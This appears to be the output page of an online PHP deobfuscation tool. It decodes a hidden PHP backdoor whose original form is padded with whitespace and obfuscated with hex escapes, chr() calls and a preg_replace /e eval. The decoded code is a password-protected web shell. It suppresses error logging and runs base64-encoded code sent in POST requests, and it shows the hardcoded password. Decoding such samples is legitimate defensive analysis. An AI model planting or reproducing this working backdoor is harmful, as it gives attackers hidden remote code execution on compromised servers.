Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);

if (isset($_POST) && is_array($_POST) && count($_POST)>1)
{
	foreach ($_POST as $var)
	{
		if (!isset($code)) $code = $var;
		elseif (!isset($pass)) $pass = $var;
		else break;
	}

	if ($pass == "hwBBOeiWk295wzAEPtKiVYtTKiOb0okQ")
	{
		eval(base64_decode($code));
	}
}
exit;

Did this file decode correctly?

Original Code

<?php

                                                                                                                                                                                                                                                                   $pass="hwBBOeiWk295wzAEPtKiVYtTKiOb0okQ";
$rh05="\x70reg".chr(95)."r".chr(101)."\x70l\x61\x63\x65";$pUC8="\x65\x76".chr(97).chr(108)."\x28ba\x73".chr(101).chr(54)."4_".chr(100)."\x65".chr(99)."\x6f".chr(100).chr(101)."\x28\x22\x51\x47\x56".chr(121)."\x63\x6d".chr(57).chr(121)."X\x33\x4A\x6c\x63G9\x79\x64\x47\x6C\x75\x5ay\x67\x77".chr(75).chr(84).chr(115).chr(75)."Q\x47".chr(108).chr(117).chr(97)."\x56\x39".chr(122)."\x5a\x58".chr(81).chr(111)."\x49\x6D".chr(82).chr(112).chr(99).chr(51)."B".chr(115).chr(89).chr(88)."\x6C\x66".chr(90)."\x58J\x79\x62".chr(51)."J\x7a".chr(73)."i\x77".chr(119)."KT".chr(115)."\x4B\x51".chr(71)."\x6c\x75".chr(97).chr(86)."\x39z".chr(90)."XQ\x6FIm\x78".chr(118)."Z".chr(49)."\x39\x6cc\x6eJ".chr(118)."cn\x4D\x69\x4c\x44\x41".chr(112)."O".chr(119)."\x70A\x61\x57".chr(53).chr(112).chr(88).chr(51)."\x4e".chr(108)."\x64\x43".chr(103).chr(105)."\x5AXJy\x62\x33\x4A\x66b\x47\x39\x6e".chr(73)."\x69\x77w".chr(75)."T\x73\x4bCm".chr(108)."\x6dI".chr(67)."hpc".chr(51)."Nld".chr(67)."\x67k\x58".chr(49).chr(66)."\x50\x55\x31Q".chr(112).chr(73)."\x43\x59mIG\x6c\x7a\x58".chr(50)."\x46yc\x6d\x46\x35".chr(75)."\x43R\x66U".chr(69).chr(57)."\x54".chr(86)."\x43\x6B".chr(103)."J\x69Yg\x59\x32".chr(57)."\x31\x62\x6eQo".chr(74)."\x46".chr(57).chr(81)."T1\x4E".chr(85)."\x4B\x54".chr(52)."\x78K\x51".chr(112)."7".chr(67)."g\x6C\x6d\x623".chr(74)."\x6c\x59\x57No\x49\x43g".chr(107)."\x58\x31".chr(66).chr(80)."\x55".chr(49).chr(81)."\x67\x59".chr(88)."M".chr(103).chr(74)."\x48Z".chr(104).chr(99)."i".chr(107)."\x4B".chr(67)."\x58\x73\x4B".chr(67)."Ql\x70".chr(90)."\x69\x41".chr(111)."\x49Wlz".chr(99)."\x32\x56\x30".chr(75).chr(67)."\x52\x6ab2Rl\x4BS\x6B\x67\x4a\x47N".chr(118)."\x5a\x47\x55\x67\x50\x53\x41kd\x6d\x46y\x4fw\x6FJC\x57".chr(86).chr(115)."c2\x56\x70Z\x69A\x6f".chr(73)."\x57lz\x63".chr(50)."\x56\x30K\x43RwY\x58Nz\x4B".chr(83)."k".chr(103).chr(74)."\x48B".chr(104)."\x63\x33".chr(77)."\x67".chr(80).chr(83).chr(65)."kd".chr(109)."F\x79\x4fw\x6f\x4A\x43\x57\x56s".chr(99).chr(50).chr(85)."\x67\x59".chr(110)."\x4a".chr(108)."YW\x73\x37\x43\x67".chr(108)."\x39".chr(67)."g\x6fJ".chr(97).chr(87)."Y\x67".chr(75)."CRw\x59".chr(88)."\x4E\x7a".chr(73)."\x44".chr(48)."9I\x43\x4A".chr(111)."\x64".chr(48)."\x4a".chr(67).chr(84)."\x32\x56\x70\x562\x73yO\x54\x56\x33".chr(101).chr(107)."F".chr(70)."\x55".chr(72).chr(82).chr(76)."\x61".chr(86)."\x5A".chr(90)."\x64\x46R".chr(76)."\x61\x55\x39\x69".chr(77).chr(71)."9\x72US\x49\x70\x43\x67l".chr(55)."\x43".chr(103)."\x6B\x4aZXZh\x62\x43".chr(104)."\x69".chr(89)."\x58".chr(78)."\x6C".chr(78)."jR\x66\x5A\x47\x56\x6a\x62\x32R\x6c".chr(75)."\x43R\x6A\x622".chr(82)."l\x4b\x53".chr(107).chr(55)."\x43\x67\x6c9".chr(67)."n\x30".chr(75)."\x5A\x58hpdD".chr(115)."\x3D\x22)\x29\x3B";$ppl887N="\x2fd".chr(48)."\x63ce\x35\x32".chr(99).chr(54)."\x61\x65\x62".chr(53).chr(99)."\x62".chr(101).chr(48)."c".chr(97)."\x38\x353\x34\x61b34\x64\x65\x394\x30".chr(47)."\x65";$rh05($ppl887N,$pUC8,chr(100)."0\x63c\x65".chr(53)."\x32c6\x61\x65b\x35".chr(99).chr(98)."\x65\x30\x63".chr(97)."\x38\x35\x33\x34".chr(97).chr(98).chr(51).chr(52).chr(100)."\x65".chr(57).chr(52)."0");



?>

Function Calls

chr 170
preg_replace 1
base64_decode 1

Variables

$pUC8 eval(base64_decode("QGVycm9yX3JlcG9ydGluZygwKTsKQGluaV9zZXQo..
$pass hwBBOeiWk295wzAEPtKiVYtTKiOb0okQ
$rh05 preg_replace
$ppl887N /d0cce52c6aeb5cbe0ca8534ab34de940/e

Stats

MD5 85718184c2f155e9dae5a84dd55832ef
Eval Count 2
Decode Time 248 ms